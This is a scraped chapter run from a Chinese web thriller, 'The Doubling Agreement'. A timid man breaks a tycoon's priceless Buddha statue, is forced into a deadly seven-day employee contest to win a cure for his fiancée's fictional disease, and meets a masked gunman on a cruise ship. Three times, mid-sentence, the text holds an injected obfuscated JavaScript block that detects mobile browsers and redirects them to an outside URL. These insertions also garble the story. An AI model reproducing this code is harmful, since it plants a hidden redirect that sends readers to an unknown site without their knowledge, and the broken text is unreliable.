《翻倍协议》 1. 序章 2025年10月29日,中午,晴天。 会议厅,王嘉华被三个拿着警棍的保安围住了。王嘉华双手握着一把看似真刀的玩具刀,慌张地对着周围。带着墨镜、抹着发胶的卡尔德曼从门口走进来,跟随而来的是五个随身保镖。 在会议厅尽头靠墙处,一尊半米高的摩诃摩耶大佛瓷像坐在板车上。轻风从阳台吹进来,卷起大佛脚边的数根丝带。 “厉害了哈!我特意把大佛藏在这里,没想到还是被你找到了,”卡尔德曼摆弄着刘海,看着王嘉华:“盗贼兄弟怎么就你一个人?” 王嘉华支支吾吾地回答:“什么盗……盗贼兄弟?” 卡尔德曼疑惑地看向身边的一个普通保镖:“威克,情报不是说今天盗贼兄弟会来偷大佛吗?怎么就来了一个?” 保镖威克摇了摇头,并不知情。 “啊你们会不会……找错人了?”王嘉华似乎看到了一点希望。 王嘉华知道,眼前这个男人就是汤旗贸易公司的董事长——卡尔德曼,新加坡富豪排行榜前十,更是东南亚三大□□的领袖。来之前王嘉华就听闻过卡尔德曼的传闻,如果在这个地方得罪了这个男人,是不可能活着离开这栋楼的。 “我不是来偷这个佛像的,我只是来找药的……这都是误会!”生性胆小怕事的王嘉华从未遇到过如此危机的场面,他已经紧张到呼吸开始受阻。 卡尔德曼:“找药?找什么药?” 王嘉华:“黑山羊症的特效药,整个新加坡和马来西亚我都打听过了,只有汤旗公司有。” “你在说什么呢?”卡尔德曼表情有点不耐烦:“我怎么可能有这种药?” 王嘉华露出了绝望的表情。如果连汤旗都没有,那世界上就不可能有治疗黑山羊症的办法了。 卡尔德曼对着门外喊道:“你们几个快点把大佛送去保藏室。” 这时,两个工作人员从门外进来,绕过了王嘉华,走向了大佛瓷像。 保镖威克看了看王嘉华,又看向卡尔德曼:“那这个家伙怎么处理?” 王嘉华的手剧烈地颤抖。 卡尔德曼看了看阳台的方向:“直接扔了吧。” “把我从阳台扔下去!我要死了!我真的要死在这里!”王嘉华感到血液开始灼热,全身不自主地颤动,这是他此生从未体验过的痛苦。 “为什么会有这种感觉?是因为我太害怕了吗?” 威克:“可他手里的刀……” 王嘉华低下头,周围的声音开始模糊,视线变得血红。 “那根本不是真刀,砍不死人的。”卡尔德曼说着,转身准备离开:“你们赶紧把他解决了,我下午还有客人要见。” 听到了老板的指令,其中一个保安抬起警棍朝王嘉华的脑袋挥去,然而转瞬间,王嘉华整个身体突然下沉,躲过了这一记挥击。 此时的王嘉华就像换了一幅躯体,动作变得十分敏捷,同时,他的双眼变得血红。 “啊?”三个保安还没反应过来,王嘉华果断扔下了玩具刀,一个侧翻从另外两人中间穿了出去,落脚后直冲向那尊大佛瓷像。 看着直冲而来的王嘉华,两个搬运人员本能地闪开。不到3秒,王嘉华就单手抓起了那尊大佛瓷像,朝着阳台跑去,在这一瞬间,王嘉华看到大佛的展览台上贴着一个价格标签:9000万新币。 下一瞬间,双眼赤红的王嘉华站在阳台的围栏边,双手握着大佛,将大佛伸向了围栏外。同时,保镖和保安全都围了上来,目光呆滞的卡尔德曼看着王嘉华,手中的发胶瓶也掉在了地板上。 卡尔德曼大吼:“小鬼你想干什么!” 十楼的会议厅,阳台围栏的外面是30米的高空,大佛瓷像在王嘉华的手中悬浮在围栏外,正下方是一片水泥地的户外停车场。 “不要过来!”王嘉华也大吼道,手中的大佛瓷像成了他唯一的救命稻草。 卡尔德曼紧张地走了过来:“小鬼你听好了,你手中的那个摩诃摩耶大佛可是世界级的文化瑰宝,全世界只有这一个!” 王嘉华:“你们再上前一步我就松手了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780694|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有人都不敢轻举妄动。 此刻,在王嘉华眼中,世界加了一层红色的滤镜,一切事物都变得缓慢,卡尔德曼的声音听起来就像是在五倍速慢放。可王嘉华没有心思疑惑这些现象,以及为什么生性软弱的自己会突然变得如此勇猛。 所有人都能看到,王嘉华的眼白布满了血丝,变成了一对赤红的眼睛。在卡尔德曼看来,这个人已经疯了。 “冷静点,先生,”卡尔德曼试图缓解王嘉华的情绪:“我们没有必要互相伤害对不对?你知道的,你要是把它砸了,你十辈子赚的钱都赔不起。” 王嘉华当然知道这点,只是他也不知道为什么会搞成现在这样。他从马来西亚来到新加坡,费劲心思潜入汤旗公司的总部大楼,只是为了找到关于黑山羊症的特效药“方程式”。卡尔德曼说的什么盗贼兄弟和大佛,王嘉华在来之前从来都没听说过。 卡尔德曼谨慎地弯着腰,看着王嘉华:“从阳台上下来,我们好好谈,如何?” 王嘉华很清楚,一旦他从阳台上下来,所有人会一拥而上将自己当场擒拿。 王嘉华内心:“卡尔德曼对付敌人的手段我是有耳闻的,现在我已经公开得罪这个人了,一旦再次被他抓住,我的死法只会比从阳台上扔下更惨。” 卡尔德曼仍然在一边试图劝说王嘉华,一边悄悄地靠近。 “可如果一直这样僵持着,我早晚也会坚持不住。”王嘉华感觉手中的大佛越来越重,再这样耗下去也只会对自己更加不利。现在的情形,似乎不管怎么选择,到最后都只有死路一条。 所有的保镖和保安也都在悄悄靠近王嘉华。 确认了楼底没人,王嘉华深吸了一口气,闭上的眼睛。 卡尔德曼察觉到不对劲:“先生?” 所有人都屏住了呼吸。 王嘉华花了1秒的时间下定决心,然后主动松开了双手,大佛瓷像向下坠落……3秒后,巨大的瓷器碎裂声传来,紧跟而来的是数辆轿车刺耳的警报声。 卡尔德曼和在场所有人表情变得极度扭曲。 2. 第一章 第一章·平等号 卡尔德曼:“你!” 话音刚落,王嘉华就已经被威克按在了地上,下一秒,所有的保安和保镖都冲了上了将王嘉华制服。 “卡尔德曼先生!”趴在地上的王嘉华一边挣扎一边说:“还有在场所有的人,你们都看到了,我把卡尔德曼先生刚刚买的大佛砸碎了!” 卡尔德曼:“不是,我说你为什么要这么做?” “卡尔德曼先生,你的大佛是我砸碎的,在场的人都看见了,”保安扯着王嘉华的头发,将王嘉华的头往上抬。王嘉华睁着血红的双眼看着卡尔德曼:“我知道的,那个大佛的价值是一亿新币。” 卡尔德曼蹲在王嘉华面前:“你到底想说什么?” 王嘉华:“也就是说,我现在欠了你一亿新币,对吧。” 卡尔德曼:“是啊,你这个穷小鬼欠了我一亿新币。” 王嘉华:“如果你把我杀了,那谁来还你这一亿新币?” 卡尔德曼急促地倒吸一口凉气,瞪大眼睛看着王嘉华,慢慢地站起来:“你让我想想……”卡尔德曼右手握拳,连续轻叩着自己的脑门,左右来回转了几圈,似乎想通了什么,突然又转过身朝爬在地上的王嘉华走来,用手指着王嘉华的脸:“你的意思是……如果你死了,我就等于白白损失了一亿块?” 在场的众人互相看着,不知道该说什么。 王嘉华:“是的,就是这个意思。” 卡尔德曼蹲下来:“所以你要怎么偿还这一个亿?” “我有我自己的办法。”王嘉华开始虚张声势。 “你有个屁办法!”卡尔德曼:“你要是有一个亿,你还会来偷我的大佛?” 王嘉华:“我说了我不是来偷大佛的!我不是你说的什么盗贼兄弟!” 卡尔德曼:“那你到底是来干什么的?” 王嘉华:“我一开始就说了,我是来找解药的!黑山羊症的解药!” “黑山羊症的解药……”卡尔德曼又站了起来,似乎想起了一些事情。 所有人静静地看着卡尔德曼,谁都不敢说话。 卡尔德曼慢慢冷静了下来,:“你说的是……‘方程式’?” 听到这个名字,王嘉华突然睁大眼睛:“你果然知道!”看来这次真的没有白来。 卡尔德曼的表情平缓了下来,他沉默不言,看着王嘉华许久。重新看到希望的王嘉华也注视着卡尔德曼,迫切地希望得到更多关于‘方程式’的信息。 “我们单独聊聊吧。”说着,卡尔德曼对着保安说:“你们几个先出去,我和他单独聊会。” 这时,王嘉华眼球上的血丝开始慢慢消退,感知也逐渐恢复了正常。 “天哪……我刚刚做了什么?”王嘉华回想起自己刚刚做的事,感到背部像涂了层雪一般阴凉。 不久后,会议厅的窗帘被拉上,厅内只剩下王嘉华,卡尔德曼,以及保镖威克。 保镖威克挤了一点发胶到卡尔德曼的手中。 卡尔德曼将发胶往头上一抹,坐在中央的转椅上看着王嘉华:“你不用再骗我了,你这样的穷鬼是不可能凑出一亿块来的。” 手脚被绑住的王嘉华仍然跪在地上看着卡尔德曼:“你怎么知道我没有钱?” “长相。”卡尔德曼语气非常傲慢:“你长的就是一个穷鬼的样子,我这辈子见过各种各样的人,我一看就知道哪些人是穷鬼。” 王嘉华,27岁,男,原本只是马来西亚的一个普通市民,他和未婚妻在吉隆坡开着一家刻字店,靠着篆刻印章为生。 卡尔德曼叹着气,手指比着一个“1”对着王嘉华:“一亿元!我把你的身体拆开来卖掉都抵不过百分之一!” 尽管9000万新币对卡尔德曼来说并不算太大的损失,但他还是表现出悲痛欲绝的样子。 “对不起……”王嘉华低着头:“我刚刚是为了保命,才迫不得已用这种方法……” 卡尔德曼:“保命?你以为我要杀了你?” 王嘉华:“啊?你刚刚不是看着阳台说把我扔了吗?” 卡尔德曼:“我是要他们把你扔去警察局!我看阳台是在看天气!” 王嘉华:“啊。” 卡尔德曼:“你以为我这里是什么地方?□□吗?我是做正经生意的商人!” “啊哈,原来都是误会啊!”王嘉华松了一口气,眉宇舒展开了一点。 卡尔德曼:“你笑个屁啊,你现在是真的死到临头了知道吗?” 王嘉华又立刻蜷缩起身子,不敢说一句话。这时,另一个保镖从门外走了进来,将一个文件袋交到了卡尔德曼手中。 卡尔德曼:“你刚刚说你是来找药的是吧。” 王嘉华唯唯诺诺地抬起头,看着卡尔德曼,点了点头。 ‘方程式’,传闻中的特效药,是专门为治疗由黑山羊病毒引起的黑山羊症而研发的,市面上没有任何地方能买到,只有位于新加坡的汤旗集团某高层曾在谈生意的时候无意间透露过这个药的名字。这是王嘉华花了半年的时间才打听到的全部信息。 卡尔德曼一边吐着眼圈,一边拆开了手中的文件袋:“你找错地方了,我这里没有你要找的那个药。” 王嘉华:“可……我听说汤旗公司有人知道这个药的线索……” 卡尔德曼:“我虽然没有这个药,但我可以告诉你怎样才能获得这个药。” 王嘉华睁大眼睛看着卡尔德曼。 “尽管以你的水平,成功的概率会很低,但现在也没有别的办法了。”说着,卡尔德曼把文件袋里的文件拿了出来,亮在了王嘉华眼前。 “《翻倍协议》”文件标题写着这几个字。 王嘉华:“这是……?” “这是一份劳务派遣合同,雇主是南顿制药所,”卡尔德曼:“你要签署这份合同,然后成为南顿的一个临时员工,为期七天。在这七天内,你需要和你的同事竞争——你们每天都会被安排一个任务,尽可能完成你的任务才有可能获得胜利,这就是这份文件里的大概内容。” 王嘉华神情有些恍惚。 卡尔德曼:“只要你在这场比赛中获胜,成为最优秀的员工,你就能拿到特效药‘方程式’的样本。” “翻倍协议”王嘉华看着这四个字,吞了口口水差点噎到:“意思是要我去这个名叫南顿的公司当七天的临时员工,然后在这七天内和同事进行比赛?” 卡尔德曼:“没错。” 王嘉华:“可为什么……为什么赢得比赛就能获得解药?” 卡尔德曼:“这个南顿制药所,就是你说的那个特效药‘方程式’的研发机构。这个特效药在上个月已经正式完成了所有临床试验和工艺改进,他们现在在等一个上市的机会。” 王嘉华的眼中出现亮光:“也就是说,‘方程式’真的存在!这个世界上真的有治疗黑山羊症的方法!” “这也是世界上唯一的方法,”卡尔德曼:“参与这次打工不只你一个人,每个员工都代表着他背后的一个企业。南顿的所长是个神秘的男人,行事风格也很怪异。他招募你们的目的是为了筛选竞争者——他会将‘方程式’的独家销售权授予最终获胜的那个企业,另其成为这个药品的代销商。” 王嘉华:“你想要的是‘方程式’的独家销售权?” “没错,而你,”卡尔德曼:“你叫什么名字?” “王嘉华。” 卡尔德曼:“王嘉华,你就作为我们汤旗集团的代表,去任职这份工作,成为那个最优秀的员工!” “所以能够治疗黑山羊症的特效药如今就在南顿制药所……”王嘉华思考着。 “不要妄想通过别的任何方式获得这个药。”卡尔德曼打断了王嘉华的想法:“‘方程式’是南顿多年的精血,为了保护产权,在正式上市之前所长是绝不会把这个药交给任何人的。” 王嘉华:“那这个药什么时候能上市?” 卡尔德曼:“最快也要2年后。” 王嘉华很清楚,他绝对无法等到2年后了。 卡尔德曼:“但只要我们获得了‘方程式’的独家销售权,我们就能提前获得特效药的样本。如果你真的能获得冠军,一个月内,这些样本我全都可以给你。” 参与这份工作,战胜所有其他员工,获得比赛冠军,这是目前唯一能获得特效药的方法。 “我懂了,”王嘉华:“可是那一亿元的欠债怎么办?” 卡尔德曼:“当然是靠打工挣回来。” 王嘉华:“……打……打工赚回来?” “我打听过了,”卡尔德曼:“这份工作的报酬是非常可观的,只要你干的出色,一亿元也是有可能挣到的!” “一亿元!认真的吗?”王嘉华依旧不太敢相信:“这些报酬真的都是给员工的吗?” 卡尔德曼:“你打工挣来的钱当然都是给你的。我们企业只是作为投资方,不参与比赛,毕竟我们想要的只是‘方程式’的独家销售权而已。” 王嘉华看着眼前的这份文件,感到了前所未有的压力。 “获胜的机会有多大、工作的内容是什么、需要我做什么、如果失败了会怎么样……”疑惑和忧虑层层堆叠,王嘉华不知道此刻的自己该说什么,脑子无法做出任何判断。 “到底什么样的工作能在短短7天内挣到一亿元……”王嘉华不敢继续往下想。 卡尔德曼:“任职这份工作,这是命令,你没有拒绝的权利,王嘉华。” 王嘉华感到很疲惫,他低下了头。 …… 《翻倍协议》——一个月前卡尔德曼就已经收到了南顿制药所发来的这份竞标邀请。对于卡尔德曼来说,‘方程式’的独家销售权的确是一个非常诱人的奖品。尽管黑山羊症的感染人数很少,但在全球范围内仍然有不断增长的趋势,这也意味着其唯一特效药‘方程式’有着极大的投资价值。 同样收到邀请的还有另外9个企业,想必另外9位老板也有着同样的想法。 威克给王嘉华松开了捆绑。王嘉华拿着这份协议,晃晃悠悠地离开了汤旗集团的大楼。不论怎么说,至少他今天活着离开了这栋大楼。 卡尔德曼走到阳台边,拉开了落地窗的窗帘:“吁!找了一个月也没找到合适的人选,本来都打算放弃参加竞标了,没想到今天送上门来了一位。” 威克:“可为什么要选这个男人?” 卡尔德曼:“你觉得他不行吗?” 威克:“我没看出他有什么特别的,你明明可以选身边的人,比如我。” 卡尔德曼:“他刚刚瞬间就突破了三个人的包围,我们这谁有这么厉害?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780695|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威克:“这……刚刚只是他运气好而已。” “再说了,”卡尔德曼看着窗外,玩弄着手中的打火机:“我看重的不是能力,而是性格。” 威克:“性格?王嘉华是什么性格?” 卡尔德曼:“胆小。” 威克:“你看重了他的……胆小?” 卡尔德曼:“没错。越胆小的人,就越有可能爆发出异于常人的疯狂。看到那双红色的眼睛了吗?”说着,卡尔德曼转身伸出右手,双指指着威克的双眼:“那就是他平时积累的恐惧和压力爆发的样子。” 看着卡尔德曼的手指,威克笔直地愣在原地。 “我见过所有能承担重任的员工,他们都有同样胆小的特性。”卡尔德曼收回右手,继续看向窗外:“勇气和胆量,这些都是高级的人类性格,是商人和投资者需要的东西;而对于打工的人来说,胆小和谨慎才是他们生存的道理,毕竟他们不需要思考,只要像机器人一样刻板地听从老板的命令就行了。” 威克:“所以你就因为这点选择了王嘉华?” 卡尔德曼:“当然,还有一个更重要的原因。” 威克:“什么原因?” 卡尔德曼:“王嘉华跟汤旗集团没有任何关系,就算他死了也无足轻重,反正那一亿块钱我也没指望他能还上。” 打工能挣到一亿元?只有傻子才会相信这种事。卡尔德曼苦笑着,拉上了窗帘。 …… 王嘉华回到了国立医院。病床前。 “我们是不是没多少钱的了?要不换一个差点的病房?”穿着病服的艾雅琳披着长发坐在病床上,她的瞳孔不是圆形,而是一道横线,看起来就像是山羊的眼睛。 医院的走廊每天都熙熙攘攘,但这间病房比较安静。病床窗帘紧闭,开着很暗的灯光。 王嘉华坐在病床前,轻笑了一声:“哼,都搞定了。” 艾雅琳:“啊?真的假的?” 王嘉华:“我还没说呢。” 艾雅琳一看就知道王嘉华又要开始装模作样了。 “那个特效药,我帮你找到了,”王嘉华微笑,语气从容且平淡:“好像叫什么……佛米拉?” 艾雅琳:“方程式?” “啊对哈,方程式。”王嘉华假装努力回想起药的名字,艾雅琳尴尬地配合着。 黑山羊症是感染了黑山羊病毒的病症,通过血液传播。在‘方程式’问世前,黑山羊症是公认无法被治愈的绝症,患者的心脏会受到黑山羊病毒的影响而不断衰竭直至死亡。目前已知的感染者生存时长最多为两年。 黑山羊症患者的瞳孔会变成横线,看起来就像黑山羊的眼睛,这也是黑山羊症的命名由来。黑山羊症患者的眼睛会对光线敏感,害怕强光的照射。 艾雅琳,王嘉华的未婚妻,1年前感染了黑山羊症。为了寻找治疗黑山羊症的特效药,一周前跟随王嘉华从吉隆坡来到新加坡。 虽于王嘉华同龄,但艾雅琳的外表看起来非常稚嫩。 “我今天去了那个研发特效药的制药所,那个所长是我的国中同学,”王嘉华按着艾雅琳的手:“细节我不能跟你说太多,他们公司保密性很强,毕竟药品还没上市;不过呢,既然是所长,搞些特效药的样本给我不会有问题的,当然具体的方式还要花时间详谈。”王嘉华的语气听起来就像是刚刚谈拢一笔小生意的大老板。 艾雅琳:“厚!”艾雅琳也不知道王嘉华是到底在装什么。 “啊对了,”说着,王嘉华站起来:“接下来几天我就不能来医院陪你了,我必须全程跟着他们,可能吃住都在那边。” 艾雅琳:“为什么要全程跟着呢?” 王嘉华装作有些不耐烦:“哎呀你知道的,他们这种就是……保密性很强的,我需要配合审批的流程,所以这段时间我们两人也千万不要互相联系,以免被他们怀疑泄露风声。” “哦好好好,”艾雅琳乖乖地点头:“那你什么时候谈完呢?” “这就难说了诶……”王嘉华思考了一会。 任职是11月1日 0 点正式开始,不过按照规定,所有员工都必须在前一天晚上,也就是10月31日晚,前往指定的地点——女皇镇码头的“平等号”游轮上进行身份认证和入职准备。 艾雅琳是王嘉华的软肋。如果被其他员工,或者任何与《翻倍协议》有关的人发现艾雅琳的存在,她都可能会有危险。 王嘉华已经下定决心,不能让任何人知道艾雅琳,自己也必须全程与艾雅琳断开联系。 …… 艾雅琳嘟着下嘴唇看着王嘉华:“11月8号是你的生日。” 任职的时长是7天。如果一切顺利,王嘉华8号就能回来。 王嘉华:“放心吧,生日那天我肯定会回来的。” 前提是一切顺利。 …… 10月31日,晚上7点。 王嘉华做好了除心理以外的一切准备,独自一人来到了女皇镇码头。一艘深黑的中型游轮停靠在码头边,船体上写着“平等号”的大字。沿着扶梯走上甲板,四名身穿白色西服的男人站在艏楼的门前看着王嘉华,一位穿着红色西装的金发混血女人坐在甲板中央的椅子上,认真地敲打着腿上的笔记本电脑。 王嘉华胆怯地朝女人走了过去。 3. 第二章 第二章·游戏 “王嘉华是吗?”女人注意到走过来的王嘉华,也站了起来:“汤旗集团的代表人,卡尔德曼先生已经跟我们打过招呼了。” 王嘉华:“你是……?” “我是南顿制药所的杰西卡,是你的部门组长。”说着,杰西卡向王嘉华递来一张名片,证实了她的身份。 王嘉华:“你说的这个部门……是什么部门?” 杰西卡:“你们各企业的代表人来我们南顿制药所执行临时派遣工作,我们为此临时成立了一个新的部门,名字叫委托部,你们都属于这个部门。” 王嘉华:“委托部。” 杰西卡:“也叫人情委托部,我是你们的部门组长。这个部门负责完成各类委托事项,委托人都是南顿内部、或者是曾经帮助过南顿的人,因此我们不向委托人收取任何费用;至于你们员工的酬劳,南顿设计了一套特别的奖励制度,这个你等会就会知道。” 看着王嘉华不知所措的表情,杰西卡淡定地说:“别紧张,你先跟我来吧。”说着,杰西卡领着王嘉华往艏楼大门走去。 “我想问一下,”王嘉华一边小心地跟着,一边紧张地说:“这份工作具体是做什么?” 杰西卡:“各种各样的委托,每天都不一样。具体的内容,我会等所有员工到齐再说。” 两人进入艏楼后,沿着楼梯下去,进入了船舱。 船体内部很豪华,光线也很明亮。杰西卡的语气和态度都很温柔,这让原本紧张不堪的王嘉华感到了些许安慰。 “那……我们部门一共有多少个员工呢?”王嘉华最在乎的还是获胜的概率。 杰西卡:“包括你在内,一共有10位员工哦。” 王嘉华:“那你呢?” 杰西卡:“你可以把这份工作当成一场比赛,你们10人是这场比赛的选手,而我则是官方指定的主持人。” 王嘉华:“主持人。” 人数比王嘉华预估的还要多。如果其他所有员工的能力都和王嘉华一样,那么理论上,王嘉华获胜的概率为十分之一。 “佛祖保佑……其他入职的员工都是傻子……”王嘉华默默念叨着。 下了两层楼后,两人来到了客房区。客房区的构造就像一个酒店,虽然并不华丽,但看起来还算干净整洁,前方的走廊有条向左的岔路。 “这个走廊是回型的,你的房间在这边。”说着,杰西卡领着王嘉华走向了这条岔路,继续直行着。王嘉华第一个看到的房间门号是“1”,第二个客房没有房门号,第三个房门号是“3”。 “为什么2号客房没有门牌号?”王嘉华有点疑惑,但却不太敢开口问。 走廊上很宁静,每个客房的房门都隔得很远,没看到其他人,或许都已经入住各自的房间里了。 王嘉华继续跟着杰西卡一路往前走。 客房区整体的氛围还算轻松祥和,只是走廊上每个拐角都摆放了一个巨大的花瓶,这让王嘉华有些奇怪。 “这么多花瓶放在船舱里,不怕晃倒吗?”王嘉华这么想着,但还是不敢做声。 很快,两人在7号客房的门前停了下来。 “看样子今晚是要睡在这里的。”在游轮上入住的感觉,王嘉华是第一次体验。 “这就是你的房间。”杰西卡用钥匙打开了门,里面很宽敞,设备和家具都是齐全的,打扫得也很干净。 王嘉华注意到了放在桌上的套餐表单,上面的套餐并未标注价格。 王嘉华:“这些套餐没有价格吗?” 杰西卡:“当然,食物都是免费的。南顿集团给所有员工都是包吃包住的。” 王嘉华注意到,套餐表单上有三个套餐,但标注的序号却是1、3和4。 杰西卡:“你先在这里稍作休息。等会大概9点的时候来12号房间参加入职会议。” 王嘉华:“其他员工呢?” “其他员工等下都会来,不要迟到了。”说着,杰西卡递给了王嘉华一颗糖:“这颗糖可以防止晕船,你现在把它吃了吧。” “这艘船等下要开吗?”王嘉华心理想着,没敢多问,将糖放入了口中。 “既然杰西卡是整个部门的组长,也是比赛的主持人,或许我应该跟她搞好关系,至少不能让她对我印象太差……”也许是因为还不适应陌生的人和环境,王嘉华做任何事都十分拘谨,他生怕自己说错一句话。 “我先去准备了,”杰西卡刚要走,突然又回过头:“对了嘉华,提醒你一下,12号房间是安全的。” “安全?”王嘉华心脏多跳了一下:“这是什么意思?”但王嘉华害怕这样问会显得自己很烦人,把话憋了回去。 “好,我知道了,多谢提醒!”王嘉华恭敬地回答道。 说完,杰西卡就关上门离开了。 “应该是我想多了吧……”王嘉华摇了摇头,深呼吸了几口。 尽管房间的隔音效果很好,但王嘉华依旧能听到微弱的海浪声。王嘉华感到有些疲惫,他坐在床上,头依靠窗边,看着灯火繁华的狮城夜景,回想着一年前的惨痛经历,又想起了卡尔德曼说过的话。 王嘉华拿出了手机,将一切与艾雅琳有关的消息记录和照片全部永久删除了,然后设定好了9点整的闹铃。 随着船笛声响起,王嘉华睡意突然袭来,倒在了床上。 …… 百货大楼,人群在四处逃窜,尖叫声此起彼伏。艾雅琳倒在血泊中,艰难地爬行着;而此时,不远处的王嘉华正蹲在货物架后发抖,黑色的毒烟中时不时传来的枪声令王嘉华不敢发出任何声音。 很快,楼层已经空了,警笛声也传来。一阵急促的脚步正往王嘉华的方向靠近,伴随的是更加猛烈的枪击。 …… 门外花瓶砸碎的响声将王嘉华从梦中拉醒。王嘉华立刻看了看手机,上面的时间是8点47。 “还好没睡过头。”王嘉华甩了甩脑袋,试图将残余的睡意甩走。突然,一阵奔跑声从王嘉华的门前经过。 清醒后王嘉华心情从一个谷底跌入了另一个谷底——比起现实般的噩梦,王嘉华更害怕噩梦般的现实。 王嘉华从床上下来,准备打开房门前往12号房,顺便看看刚才门外的动静是怎么回事。 然而就在打开门的瞬间,王嘉华察觉到了异样——整个走廊的光线变得异常昏暗,头顶的黄色灯管总会时不时闪烁一会,空气中充满了危险的味道。 刚刚跑过去的人也看不见踪影,左边拐角处的那个花瓶已经碎在了地板上。 王嘉华吞了口口水:“应该不会吧,应该不会是我想的那样吧……”在上船之前,王嘉华就已经预设了关于这份工作的各种可能,他最担心的是这份工作的危险性。 “如果这真的是一场需要拿生命作为赌注的工作……”每次想到这种可能,王嘉华就会自动停止思考,这是所有怯懦者的本能。 王嘉华谨慎地朝着碎掉的花瓶处挪动了过去。当他挪到了拐角时,左侧走廊的6号客房门突然打开了。被吓到的王嘉华猛然侧身看去,一个一脸睡意的年轻男人走了出来,两人对视着。 年轻男人:“你是谁啊?” 王嘉华:“啊……你也是来入职的员工吗?” 年轻男人:“对呀,我要去参加入职会议,马上就9点了。” 原来是同事,王嘉华松了口气。 年轻男人:“你这是怎么回事啊?把花瓶砸碎了?” “这个不是我砸碎的,我也是听到声……”说到一半,王嘉华停住了。 年轻男人:“你说什么?” 年轻男人困惑地看着突然僵直的王嘉华,他的眼睛放大了一倍,恐惧地看着走廊的深处。 “你在看什么呢?”年轻男人刚回头,一颗子弹随着一声枪响穿过了他的脑袋。下一个瞬间,王嘉华已经从拐角处消失了。 迅速回到房间关上房门的王嘉华躲在衣柜里,回想着刚刚看到的画面——昏暗的走道正中央,一个穿着黑袍、带着防毒面具、拿着手枪的人慢慢朝自己的方向走来,对着还在说话的年轻男人的脑门开了一枪。 “那个人已经死了!我绝对不能出去!”王嘉华蜷缩着,恐惧的本能控制着他全部的身体,他的脑子已经拒绝接受外界的任何信息,就和一年前一样。 意识到这点的王嘉华又突然回想起一年前在百货大楼发生的事情。 “当时我就是因为太害怕才没保护到艾琳……可我能怎么办?那种样子的我什么也做不了……” “对了,提醒你一下,12号房间是安全的。”王嘉华突然想起了杰西卡临走前留下的话。 游轮似乎还在行驶。王嘉华看了看手机,8点50分。 “不行,一定要出去!”王嘉华犹豫了一会后,还是慢慢打开了衣柜的门。 “现在只能相信杰西卡的话了。” 王嘉华来到门边,关上了屋内的灯,抓着门把手听着外面的声音——似乎已经很久没有动静了。 “从刚刚的方向过来是6号客房,我的房门号是7号,那么12号房间一定就在另一个方向。”王嘉华深吸了一口气:“出门后就直接往右走!” 王嘉华再次打开了房门,门外的走道依然昏暗死沉。确认了两个方向都没活物和声音,王嘉华摸着墙壁,弯着身子朝右方慢慢地走着。 应该是正在经过一片浪潮,行驶中的船体开始轻微地摇晃。时间剩余不多,王嘉华必须一边掌握平衡一边前进,同时不能发出任何声响。 幸运的是,船体摇摆时发出阵阵木头摩擦的声响,王嘉华不必太多注意自己的脚步;不过这也令王嘉华感到担忧,因为这样的话他也很难听到其他的声音。 “穿黑袍的人一定就在这条走廊上,他随时都可能出现。”王嘉华必须时不时地回头查看身后的情况,任何一个异样的影子都不能漏掉。 顺利经过了8、9、10号客房,王嘉华终于到达了11号客房的门口。 “很好,下一个房间就是12号。” 一切都很顺利,此刻的王嘉华却感到了一阵怪异:“可是这条走廊再往前走好像马上就要到拐角了啊?” 王嘉华一边挪动着,一边仔细盯着前方——从11号房门到前方的拐角处并没有别的房门了。 “如果走过前面那个拐角,不就回到1号房间的门口了吗?12号房间消失了?”王嘉华还在疑惑着,突然一声惨叫停住了他的身体。 “不要杀我!”一个女人的声音从正前方黑暗中传来,紧接着的又是两声枪响,随后全部安静了下来。 “黑袍人就在前方的拐角后面!”没有时间思考了,一切交给本能!王嘉华 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780696|157958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立刻转身往回冲刺,再次躲回到自己的房间。 “又死了!又有人死了!”王嘉华喘着大气,靠在紧锁的房门上。 8点54分。 “可为什么刚刚没有看到12号房间的房门?是我看错了吗……不,我应该没看错才对。还是说12号房间其实根本不在那?”正常来说,房间的门牌号都会按照数字从小到大排列才对。 “不可能的……12号房间一定就在那附近……而且那个黑袍人知道我们要去12号房,所以他一定会在附近守着我们!”王嘉华的身体还在颤抖。 “对了!”王嘉华突然又想起了一件事:“第二个房门并没有门牌号!如果那个房间并不是2号房间呢?” 整个客房层一共就只有11个房间,其余所有房间都有门牌号,只有1号房间和3号房间中间的那个房门上什么都没写。 “如果真的有12号房间,不就只能是那间房了吗?” 8点55分,还剩不到5分钟的时间。 “如果到不了12号房间,在这里也只是等死……必须想个办法把那个黑袍人引开。”王嘉华拼命地呼吸,想让自己的大脑能冷静地思考。 